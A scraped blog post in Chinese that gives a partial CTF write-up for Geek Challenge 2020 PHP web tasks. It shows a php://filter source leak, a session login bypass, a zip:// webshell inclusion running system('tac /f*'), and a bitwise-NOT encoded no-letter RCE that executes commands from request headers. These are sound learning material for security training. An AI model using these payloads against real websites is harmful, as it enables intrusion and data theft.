当前位置: 首页 > news >正文

极客大挑战2020(部分wp)

Roamphp1-Welcome

在这里插入图片描述
405请求方法不允许,改一下请求方法
在这里插入图片描述
数组绕过,在页面搜索flag即可!本题:就是知道了405是请求方法不允许!

Roamphp2-Myblog(zip协议加文件包含)

在这里插入图片描述
首先进来就是一个博客页面,注意一下url那地方有些可疑,通过page来切换页面估计是文件包含,后缀在后端添加了!用php伪协议把源码给趴下来!

http://3ac4e25d-0f61-46d7-a807-0156c854dee6.node5.buuoj.cn:81/index.php?page=php://filter/convert.base64-encode/resource=login

<?php
require_once("secret.php");
mt_srand($secret_seed);
$_SESSION['password'] = mt_rand();
?>

同理其它的

<?php
error_reporting(0);
session_start();
$logined = false;
if (isset($_POST['username']) and isset($_POST['password'])){if ($_POST['username'] === "Longlone" and $_POST['password'] == $_SESSION['password']){  // No one knows my password, including myself$logined = true;$_SESSION['status'] = $logined;}
}
if ($logined === false && !isset($_SESSION['status']) || $_SESSION['status'] !== true){echo "<script>alert('username or password not correct!');window.location.href='index.php?page=login';</script>";die();
}
?>

这里把前端的cookie(通过cookie来验证的)给删了然后密码置为空就好了!
在这里插入图片描述
进到后台这里有个文件上传的功能,这里是白名单(也是源码里面写了的我没放出来)没法打文件上传好像。这里就是结合文件包含打zip协议了!

访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。
zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]

那么我们先压缩我们的php马,然后在把zip改成jpg利用即可!

?page=zip://./assets/img/upload/368d066d6c9103bba3e2e41338d2cad19e2f367b.jpg%231
POST : a=system(“tac /f*”);

本题:隐藏后缀名+如果能上传图片马是可以配合文件包含去打的(突然理解了之前别人说的,图片马要结合文件包含去利用的意思了)!

Roamphp4-Rceme(nb的函数调用)

在这里插入图片描述
vim缓存信息泄露,直接访问.index.php.swp。然后把下载好的文件拖到kali里面,用vim -r index.php.swp进行恢复!得到源码!

<?php
error_reporting(0);
session_start();
if(!isset($_SESSION['code'])){$_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);//获得验证数字
}if(isset($_POST['cmd']) and isset($_POST['code'])){if(substr(md5($_POST['code']),0,5) !== $_SESSION['code']){die('<script>alert(\'Captcha error~\');history.back()</script>');}$_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);$code = $_POST['cmd'];if(strlen($code) > 70 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){//修正符:x 将模式中的空白忽略; die('<script>alert(\'Longlone not like you~\');history.back()</script>');}else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){@eval($code);die();}

简单来说就是:
1.code经过md5加密后的前5个字符要等于session 的code

2.cmd长度不能超过70且不能被正则匹配到

3.匹配括号内的内容替换成空格后结果为;(buhsi,这个正则我看了好久。还是解释一下吧!/[^\s()]+?((?R)?)/就是先匹配非空白字符或者非括号是非贪婪模式然后再加一个递归匹配。

(?R) 是递归引用,表示 整个正则表达式本身。? 表示 前面的 (?R) 是可选的(可以匹配 0 次或 1
次)。这使得递归可以终止(否则会无限递归)。

然后这其实就是无参数rce加无字母数字rce!这里用的是取反,其他用不了,至于为啥,自己想想!
先phpinfo()试一下吧!这里有一点就是不能用(phpinfo)();这种了,因为过不了正则。然后就是在php7中:

[‘phpinfo’][0]()
[‘phpinfo’]{0}()

是和(phpinfo)()一样的效果!是因为短数组语法:[‘phpinfo’]等同于array(‘phpinfo’)传统数组的定义方法。所以[phpinfo][0]();等价于phpinfo();
发现是可以的!!!然后这里我们开始构造命令,我这里就为了方便直接读flag了!
在这里插入图片描述

一些解释:
cmd用的是system(end(getallheads())),就是我手动把ua的位置弄到了最后,这样end就可获取到写在ua里面的命令了!然后一些wp说用next,但是我ua不在第二个元素啊,好像也弄不到第二个!getallheads()函数返回请求头的信息

这里就用var_dump(getallheads());来看看
在这里插入图片描述
最后贴个取反用的脚本吧:

<?php
$a=urlencode(~'system');
echo "[$a]"."[~%FF]";
echo "\n";
$b=urlencode(~'getallheaders');
echo "[$b]"."[~%FF]";
echo "\n";
$c=urlencode(~'end');
echo "[$c]"."[~%FF]";
$d=urldecode('%CF');
echo ~$d;
?>

本题:1,.index.php.swp泄露然后再kali里面用vim -r index.php.swp命令来恢复!
2,md5每次发包后都会变,这是写在源码里面的
3,php7的nb函数调用绕过正则,[phpinfo][0]();等价于phpinfo();
4,取反绕过无字母数字rce

http://www.lryc.cn/news/606407.html

相关文章:

  • 材质:3D渲染的隐形支柱
  • window怎么安装pyqt6以及 安装 pythonqt6 会遇到的问题和怎么解决
  • Ubuntu 下配置 NVIDIA 驱动与 CUDA 环境(适配 RTX 4060Ti)
  • Leetcode-206.反转链表
  • 【前端知识】JS单线程模型深入解析
  • LangGraph认知篇-Send机制
  • 掌握Python三大语句:顺序、条件与循环
  • 【生活系列】MBTI探索 16 种性格类型
  • springcloud04——网关gateway、熔断器 sentinel
  • 难以逾越的夏天
  • 【2025/07/31】GitHub 今日热门项目
  • Excel 知识点汇总
  • JavaScript内存管理完全指南:从入门到精通
  • ABS系统专用磁阻式汽车轮速传感器
  • ansible简单playbook剧本例子
  • RHEL 8.10 离线安装 Ansible 完整教程
  • 30天入门Python(基础篇)——第25天:标准库学习之OS模块
  • 设计模式:责任链模式 Chain of Responsibility
  • Qt_Gif_Creator 基于Qt的屏幕gif录制工具
  • 网关冗余技术VRRP的原理与配置
  • React开发依赖分析
  • Coze Studio 部署与使用常见问题全解析
  • 电子电气架构 --- 车载48V系统
  • SQL理解——INNER JOIN
  • LLM残差流为何会超过1?
  • 五、cv::SparseMat的介绍和使用
  • CHI - Transaction介绍(1) - Dataless
  • MySQL 中 CHAR 和 VARCHAR 类型有什么区别?
  • 化学结构式解读指南:从基础认知到InDraw智能识别
  • TDengine 中 TDgp 中添加算法模型(预测分析)